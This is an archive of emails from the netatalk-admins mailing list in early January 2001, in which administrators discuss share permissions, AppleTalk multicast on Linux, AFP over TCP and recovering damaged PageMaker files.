Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA12469
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 18:17:25 -0500 (EST)
Received: from mail.rdc1.ct.home.com (ha1.rdc1.ct.home.com [24.2.0.66])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA12427
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 18:17:24 -0500 (EST)
Received: from [192.168.1.5] ([24.2.129.244]) by mail.rdc1.ct.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010105231724.HOVQ9746.mail.rdc1.ct.home.com@[192.168.1.5]>
          for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 15:17:24 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 05 Jan 2001 18:17:30 -0500
Subject: unsubscribe
From: Randy Gordon <randy@gordon81.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B67BC03A.558%randy@gordon81.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


-- 
Macintosh for productivity
Linux for development
Windows for solitaire



From netatalk.administrators-errors@umich.edu  Fri Jan  5 19:24:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA10226
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 19:24:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09696
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 19:24:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09685
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 19:24:26 -0500 (EST)
Received: from fc.schdist57.bc.ca ([199.175.16.118])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA09657
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 19:24:25 -0500 (EST)
Message-id: <fc.000f89ac0038af96000f89ac0038af96.38af98@fc.schdist57.bc.ca>
Date: Fri, 05 Jan 2001 16:24:49 -0800
Subject: file permissions
To: netatalk-admins@umich.edu
From: "Mike Egglestone" <Mike_Egglestone@fc.schdist57.bc.ca>
MIME-Version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Hi.... 
I'm having some trouble with file permissions after the user 
logs into the appleshare....(through the chooser) 
I have a share from netatalk called "web" 
its real location is here 
/var/www/ 
I have given rwx permissions to the group of the folder "www" -R 
so basically I did this...... 
cd /var 
chgrp web www -R 
chmod g+rwx www -R 
when the user mounts the share "web"... all is good... 
However they can't write to (the root) of the share.... 
if they go into the share.... a directory or more... then the permissions
work fine... 
basically from the mac computer... they can write to here 
/var/www/library/ 
but not here /var/www/ 
however.. if they log into the linux server directly (telnet in or
something) and access the /var/www folder... 
they have their permissions with out problems.... 
Am I making sense? 
I wondering if netatalk is somehow blocking the permissions on the root of
the mounted share.... 
Has anyone had this before? 
Any help would be great!!! 
thanks 
Mike 


From netatalk.administrators-errors@umich.edu  Fri Jan  5 19:41:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA10905
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 19:41:23 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA25813
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 19:41:23 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA25799
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 19:41:23 -0500 (EST)
Received: from sandman.ucdavis.edu (sandman.ucdavis.edu [169.237.105.36])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA25772
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 19:41:21 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by sandman.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f060fAS18967;
	Fri, 5 Jan 2001 16:41:10 -0800 (PST)
Date: Fri, 5 Jan 2001 16:41:10 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@sandman.ucdavis.edu
To: Mike Egglestone <Mike_Egglestone@fc.schdist57.bc.ca>
cc: netatalk-admins@umich.edu
Subject: Re: file permissions
In-Reply-To: <fc.000f89ac0038af96000f89ac0038af96.38af98@fc.schdist57.bc.ca>
Message-ID: <Pine.GSO.4.21.0101051640420.18089-100000@sandman.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Are you using a netatalk 1.5 prerelease or is this 1.4b2+asun2.1.4 ?

On Fri, 5 Jan 2001, Mike Egglestone wrote:

> Hi.... 
> I'm having some trouble with file permissions after the user 
> logs into the appleshare....(through the chooser) 
> I have a share from netatalk called "web" 
> its real location is here 
> /var/www/ 
> I have given rwx permissions to the group of the folder "www" -R 
> so basically I did this...... 
> cd /var 
> chgrp web www -R 
> chmod g+rwx www -R 
> when the user mounts the share "web"... all is good... 
> However they can't write to (the root) of the share.... 
> if they go into the share.... a directory or more... then the permissions
> work fine... 
> basically from the mac computer... they can write to here 
> /var/www/library/ 
> but not here /var/www/ 
> however.. if they log into the linux server directly (telnet in or
> something) and access the /var/www folder... 
> they have their permissions with out problems.... 
> Am I making sense? 
> I wondering if netatalk is somehow blocking the permissions on the root of
> the mounted share.... 
> Has anyone had this before? 
> Any help would be great!!! 
> thanks 
> Mike 
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Fri Jan  5 20:05:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA11410
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 20:05:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA02074
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 20:05:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA02059
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 20:05:06 -0500 (EST)
Received: from mailout1-1.nyroc.rr.com (mailout1-0.nyroc.rr.com [24.92.226.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA02038
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 20:05:05 -0500 (EST)
Received: from [24.25.140.169] (cm-24-25-140-169.nycap.rr.com [24.25.140.169])
	by mailout1-1.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id UAA23968;
	Fri, 5 Jan 2001 20:01:03 -0500 (EST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 05 Jan 2001 20:04:54 -0500
Subject: Re: Some Minor Troubles w/netatalk 1.5pre3
From: Tara Piorkowski <tara@vilaj.com>
To: "Chris G. Sellers" <sellers@oakland.edu>,
        netatalk Admins <netatalk-admins@umich.edu>
Message-ID: <B67BD966.7BF%tara@vilaj.com>
In-Reply-To: <200101031326.IAA23467@saturn5.acs.oakland.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 1/3/01 8:26 AM, Chris G. Sellers at sellers@Oakland.edu wrote:

Thanks, Chris, for the response. Here's the information you asked about...

> When this is done, you check for afpd and atalkd and they are not
> running??  

No, they are both running, as shown in this ps.

  423 ?        S      0:00 /opt/atalk-1.5pre3/sbin/atalkd
  443 ?        S      0:00 /opt/atalk-1.5pre3/sbin/afpd -U uams_randnum.so
-g nobody -c 30 -n Okte

> The logs look somewhat normal.

Is the message, "eth0: multicast may not work correctly." a standard message
or is the daemon identifying a situation that is specific to a problemmatic
environment?

> The mulicast thing may be your culprit.

That's what I think, too, though I haven't been able to definitively
conclude this. Similarly, I haven't found a workaround.

> I would post your network model
> number, your OS (Linux Kernel 2.2.12, Solaris 8, FreeBSD, etc) and the
> /var/log/dmesg (or equivalent) for your network card startup to the
> netatalk list.  

I'm running Linux 2.2.18. Here are relevant lines from dmesg...

NET4: AppleTalk 0.18 for Linux NET4.0

TLAN 1.3c: eth0 irq=10 io=2c20, Compaq Netelligent Integrated 10/100 TX UTP,
Rev. 16

> That will get some people to notice what you are having
> problems with.
> 
> Good luck....

Thanks again, Chris, and thanks to anyone else who can provide any
assistance.

Tara

-- 
Tara Piorkowski
Network Administrator, vilaj.com


From netatalk.administrators-errors@umich.edu  Fri Jan  5 23:30:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA15637
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 23:30:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA24091
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 23:30:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA24081
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 23:30:38 -0500 (EST)
Received: from femail2.sdc1.sfba.home.com (femail2.sdc1.sfba.home.com [24.0.95.82])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA24064
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 23:30:37 -0500 (EST)
Received: from yardley ([65.0.63.102]) by femail2.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20010106043024.ZYYI17656.femail2.sdc1.sfba.home.com@yardley>;
          Fri, 5 Jan 2001 20:30:24 -0800
Message-ID: <001901c0779a$9e7c7780$1614140a@potlnd1.or.home.com>
From: "yardley" <yardley@home.com>
To: <sinclair@dis.strath.ac.uk>
Cc: <netatalk-admins@umich.edu>
References: <-1233689475peter@linuxchamps.com> <5550.978707923@dis.strath.ac.uk>
Subject: Re: Working over TCP
Date: Fri, 5 Jan 2001 20:39:13 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Actually, to get netatalk to connect over ip the netatalk machine has to be
in the same domain as the mac.  That is all I did and it worked fine.  I
then changed the domain and it would no longer mount over IP through the
chooser.  I don't know the technical reason why.  All I know is that it
worked.

TimY
----- Original Message -----
From: "Duncan Sinclair" <sinclair@dis.strath.ac.uk>
To: <>
Sent: Friday, January 05, 2001 7:18 AM
Subject: Re: Working over TCP


>
> Peter Gutowski writes:
>
> >On Tuesday, January 2, 2001, Miguel Beccari <miguel.beccari@clikka.com>
wrote:
> >>netatalk is working fine......
> >>
> >>but not over tcp!
>
> >The problem is probably not afpd but rather, your nameserver. The name
> >as it appears in the chooser must resolve to an IP address on the local
> >network. But it's still a bit more complicated than that, and I believe
> >that the hostname or domain name of the linux box has some influence
> >here. (You can also use the "Server IP address..." button to enter
> >either the hostname or I23.456.789.012)
>
> This seems to be a new urban myth.  My Sun appears as "Department Server"
> in my Chooser.  I don't even think it would be possible to put this name
> in the DNS.  But TCP connections work OK for me.
>
> I believe the Mac gets the IP number from the server either in the
original
> NBP (Chooser) information, or through an initial appletalk-based meeting
of
> minds.  I think it's the second one...
>
> There may well be factors concerning what IP number your server thinks
> it has, compared with what the client thinks it is.  For example, if
> you have more than one IP number, perhaps if the server uses the wrong
> one, the client will not be able to initialise a TCP connection and
> fall back to AppleTalk.  (As afp over tcp always worked for me, I not
> an expert on the possible ways it can fail.)
>
> Cheers,
>
>
>
> Duncan Sinclair.
>
> PS> Anyone know how the latest netatalk-1.5 pre-release is on Solaris?
>     Does it compile yet?
>


From netatalk.administrators-errors@umich.edu  Sat Jan  6 07:00:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA24093
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Jan 2001 07:00:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA21989
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Jan 2001 07:00:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA21968
	for netatalk.administrators-members@umich.edu; Sat, 6 Jan 2001 07:00:18 -0500 (EST)
Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA21932
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 07:00:16 -0500 (EST)
Received: from fwd07.sul.t-online.com 
	by mailout06.sul.t-online.com with smtp 
	id 14Es1F-0006vu-03; Sat, 06 Jan 2001 13:00:21 +0100
Received: from server.linau.de (320064501249-0002@[62.157.72.24]) by fmrl07.sul.t-online.com
	with esmtp id 14Es15-2EOH3YC; Sat, 6 Jan 2001 13:00:11 +0100
Received: from [192.168.2.2] (pulsar.linau.de [192.168.2.2])
	by server.linau.de (8.9.3/8.9.3) with ESMTP id LAA05746
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 11:56:58 +0100
Mime-Version: 1.0
Message-Id: <p04310100b67ca827a8f1@[192.168.2.2]>
In-Reply-To: 
 <fc.000f89ac0038af96000f89ac0038af96.38af98@fc.schdist57.bc.ca>
References: 
 <fc.000f89ac0038af96000f89ac0038af96.38af98@fc.schdist57.bc.ca>
X-Mailreader: Eudora 4.3.1 Macintosh
Date: Sat, 6 Jan 2001 11:50:01 +0100
To: netatalk-admins@umich.edu
From: Christian Schmidt <ChriSchmiLi@gmx.de>
Subject: Re: file permissions
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Sender: 320064501249-0002@t-dialin.net

Mike Egglestone schrieb am 05.01.2001:

>  I'm having some trouble with file permissions after the user
>  logs into the appleshare....(through the chooser)
>  I have a share from netatalk called "web"
>  its real location is here
>  /var/www/
>  I have given rwx permissions to the group of the folder "www" -R
>  so basically I did this......
>  cd /var
>  chgrp web www -R
>  chmod g+rwx www -R
>  when the user mounts the share "web"... all is good...
>  However they can't write to (the root) of the share....
>  if they go into the share.... a directory or more... then the permissions
>  work fine...
>  basically from the mac computer... they can write to here
>  /var/www/library/

On my Linux server there is a directory shared by netatalk. I set the 
permissions as follows:
drwsrwsr--  10 root     users

And everything works fine. Every user can login via the chooser and 
create directories and files.

hth,
Christian
-- 
Made with a Macintosh...
ChriSchmi@t-online.de
http://home.t-online.de/home/chrischmi/

From netatalk.administrators-errors@umich.edu  Sat Jan  6 08:53:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26296
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Jan 2001 08:53:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06636
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Jan 2001 08:53:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06623
	for netatalk.administrators-members@umich.edu; Sat, 6 Jan 2001 08:53:27 -0500 (EST)
Received: from mail.rdc1.ct.home.com (ha1.rdc1.ct.home.com [24.2.0.66])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA06600
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 08:53:26 -0500 (EST)
Received: from [192.168.1.5] ([24.2.129.244]) by mail.rdc1.ct.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010106135325.RMFO9746.mail.rdc1.ct.home.com@[192.168.1.5]>
          for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 05:53:25 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 06 Jan 2001 08:53:32 -0500
Subject: remove
From: Randy Gordon <randy@gordon81.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B67C8D8C.57D%randy@gordon81.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


-- 
Macintosh for productivity
Linux for development
Windows for solitaire



From netatalk.administrators-errors@umich.edu  Sat Jan  6 08:53:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26312
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Jan 2001 08:53:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA27765
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Jan 2001 08:53:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA27745
	for netatalk.administrators-members@umich.edu; Sat, 6 Jan 2001 08:53:38 -0500 (EST)
Received: from mail.rdc1.ct.home.com (ha1.rdc1.ct.home.com [24.2.0.66])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA27717
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 08:53:37 -0500 (EST)
Received: from [192.168.1.5] ([24.2.129.244]) by mail.rdc1.ct.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010106135342.RMHI9746.mail.rdc1.ct.home.com@[192.168.1.5]>
          for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 05:53:42 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 06 Jan 2001 08:53:49 -0500
Subject: unsubscribe
From: Randy Gordon <randy@gordon81.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B67C8D9D.57E%randy@gordon81.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


-- 
Macintosh for productivity
Linux for development
Windows for solitaire



From netatalk.administrators-errors@umich.edu  Sat Jan  6 09:21:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA26976
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Jan 2001 09:21:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA13312
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Jan 2001 09:21:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA13292
	for netatalk.administrators-members@umich.edu; Sat, 6 Jan 2001 09:21:25 -0500 (EST)
Received: from winery.garlic.com (winery-en0b.garlic.com [216.139.31.163])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA13262
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 09:21:24 -0500 (EST)
Received: (from johana@localhost)
	by winery.garlic.com (8.11.1/8.11.1) id f06ELTt34394
	for netatalk-admins@umich.edu; Sat, 6 Jan 2001 06:21:29 -0800
Received:  by johana.com (UUPC/extended 1.12p);
           Sat, 06 Jan 2001 05:15:53 -0800
Message-ID: <3a571a89.johana@johana.com>
Date:      Sat, 06 Jan 2001 05:15:53 -0800
From: "Tom Watson" <tsw@johana.com>
To: netatalk-admins@umich.edu
Subject:   Re: Some Minor Troubles w/netatalk 1.5pre3

On Fri, 5 Jan 2001 20:06:30 -0500 (EST), netatalk-admins@umich.edu wrote:
> on 1/3/01 8:26 AM, Chris G. Sellers at sellers@Oakland.edu wrote:
> 

<<<deletia>>>

> 
> Is the message, "eth0: multicast may not work correctly." a standard message
> or is the daemon identifying a situation that is specific to a problemmatic
> environment?
> 
> > The mulicast thing may be your culprit.
> 
> That's what I think, too, though I haven't been able to definitively
> conclude this. Similarly, I haven't found a workaround.
> 

Having hacked a EtherNet driver (the SEEQ8005 one to be exact), I noted a
few things.  Some drivers do not implement multicast (at the MAC - Machine
Access, Level 2) correctly.  Some do not implement it at all.  AppleTalk
uses multicast address (ethernet) of 09:00:07:FF:FF:FF.  These addresses have
a '1' in the LOW order bit of the first byte of the ethernet address.
AppleTalk uses this multicast address to broadcast packets (name lookups
are but just one) to all other AppleTalk nodes.  This allows non-AppleTalk
nodes to simply ignore the packets.  In AppleTalk phase 1, the ethernet
broadcast address of 'FF:FF:FF:FF:FF:FF' (all ones) was used.

The logic in some chips allows addresses to be selectively received so
that upper layers of software don't need to bother with packets that
have no meaning.  If the hardware multicast logic in the driver is not
complete, some drivers will just put the receiver in "promiscous" (accept
all packets) mode, which can unnecessarly burden the software in the
lower levels.  Some drivers just chose to ignore the need for multicast
which is a BIG mistake, and can lead to AppleTalk NOT working.

The other thing that happens is that there is ONE kernel variable that
seems to control both hardware (ISO level 2) and IP (ISO level 3)
multicasting.  Portions of the code that do the IP multicasting are at
the protocol level (using IP addresses above 224.0.0.0) have NOTHING to do
with the hardware multicasting, but they seem to share a variable.  Changing
it (The variable is CONFIG_IP_MULTICAST) allows the code to ALSO do the
hardware multicast, which is needed for AppleTalk.  At least this is
how MY kernel is setup (ymmv).

I may have the group hardware address wrong for AppleTalk, but the idea
is similar.  Hopefully this assists someone.  It may just be a simple
matter of configuring the kernel.  I just checked, the group address
of '09:00:07:FF:FF:FF' is the proper address for AppleTalk phase 2
broadcast.  Good luck!!

References:
/usr/src/linux/net/appletalk/aarp.c (location varies, but close enough).

-- 
Tom Watson         Generic short signature
tsw@johana.com     (I'm at home now)

From netatalk.administrators-errors@umich.edu  Sat Jan  6 14:14:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA02017
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Jan 2001 14:14:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA07452
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Jan 2001 14:14:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA07435
	for netatalk.administrators-members@umich.edu; Sat, 6 Jan 2001 14:14:52 -0500 (EST)
Received: from c000.snv.cp.net (c000-h007.c000.snv.cp.net [209.228.32.71])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA07401
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 14:14:51 -0500 (EST)
Received: (cpmta 21822 invoked from network); 6 Jan 2001 11:14:50 -0800
Received: from adsl-63-195-135-197.dsl.scrm01.pacbell.net (HELO Server) (63.195.135.197)
  by smtp.gothard.com (209.228.32.71) with SMTP; 6 Jan 2001 11:14:50 -0800
X-Sent: 6 Jan 2001 19:14:50 GMT
From: Adam Gothard <Adam@Gothard.com>
To: netatalk-admins@umich.edu
Subject: Fwd: Re: HELP!!! Need to undo file translation - I think
Date: Sat, 6 Jan 2001 11:17:52 -0800
X-Mailer: KMail [version 1.1.99]
Content-Type: text/plain;
  charset="iso-8859-1"
MIME-Version: 1.0
Message-Id: <01010611175200.01084@Server>
Content-Transfer-Encoding: 8bit



netatalk@umich.edu if for reporting bugs. Try sending your message to
netatalk-admins@umich.edu.

> From:    Adam Gothard <Adam@Gothard.com>
> To:      netatalk@umich.edu
>
> Hello!  I am hoping that you might be able to help me with a severe problem
> I

-

> have come across with Netatalk for Linux.  I have successfully installed
> Netatalk on Linux (Slackware dist.) for our server at work.  We recently
> sent

-

> some files from some Mac G4s to the shared folder.  Then I wrote those
> files to a CD.  However, now we have noticed that some of the files have
> some problems... especially and most importantly, our PageMaker files can't
> be read by PageMaker on the Macs.  I know almost nothing about Netatalk, so
> my guess was that when the files were transfered over to the server, a
> CR-LF translation was done on the PageMaker file which messed the whole
> thing up. I tried to use the fromdos command on the file, but had no
> success.  Is there

-

> anything we can do to restore these files?  It is EXTREMELY important to be
> able to read these PageMaker files, as the originals on the macs have
> already

-

> been erased. (ooops).
>
> If you could help at all with this problem, or refer me to
> someone/someplace that could help I would be very appreciative.
>
> Thank You,
> Adam Gothard
> Tag Team Productions

-------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Sat Jan  6 14:22:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA02300
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Jan 2001 14:22:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16765
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Jan 2001 14:22:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16749
	for netatalk.administrators-members@umich.edu; Sat, 6 Jan 2001 14:22:20 -0500 (EST)
Received: from mail0.dns-net.de (mail0.dns-net.de [212.91.230.131])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA16712
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 14:22:19 -0500 (EST)
From: seb@freitag.ch
Received: from vaio (really [62.158.10.130]) by mail0.dns-net.de
	via smail with esmtp
	id <m14EysP-00QPBeC@mail0.dns-net.de> (Debian Smail3.2.0.111)
	for <netatalk-admins@umich.edu>; Sat, 6 Jan 2001 20:19:41 +0100 (CET) 
Message-ID: <000d01c07816$18cee600$4d01a8c0@lan.freitag.ch>
Reply-To: <seb@freitag.ch>
To: "Adam Gothard" <Adam@Gothard.com>
Cc: <netatalk-admins@umich.edu>
References: <01010611175200.01084@Server>
Subject: Re: Re: HELP!!! Need to undo file translation - I think
Date: Sat, 6 Jan 2001 20:23:04 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

stay relaxed.

go to downloads.com und search for res edit or super res edit. open the
programm and select aboert (dont open a file). in resedit open "get info"
and point to a pm-file and look at type/creator. now apply these settings to
the files that dont work.

seb

----- Original Message -----
From: "Adam Gothard" <Adam@Gothard.com>
To: <netatalk-admins@umich.edu>
Sent: Saturday, January 06, 2001 8:17 PM
Subject: Fwd: Re: HELP!!! Need to undo file translation - I think




netatalk@umich.edu if for reporting bugs. Try sending your message to
netatalk-admins@umich.edu.

> From:    Adam Gothard <Adam@Gothard.com>
> To:      netatalk@umich.edu
>
> Hello!  I am hoping that you might be able to help me with a severe
problem
> I

-

> have come across with Netatalk for Linux.  I have successfully installed
> Netatalk on Linux (Slackware dist.) for our server at work.  We recently
> sent

-

> some files from some Mac G4s to the shared folder.  Then I wrote those
> files to a CD.  However, now we have noticed that some of the files have
> some problems... especially and most importantly, our PageMaker files
can't
> be read by PageMaker on the Macs.  I know almost nothing about Netatalk,
so
> my guess was that when the files were transfered over to the server, a
> CR-LF translation was done on the PageMaker file which messed the whole
> thing up. I tried to use the fromdos command on the file, but had no
> success.  Is there

-

> anything we can do to restore these files?  It is EXTREMELY important to
be
> able to read these PageMaker files, as the originals on the macs have
> already

-

> been erased. (ooops).
>
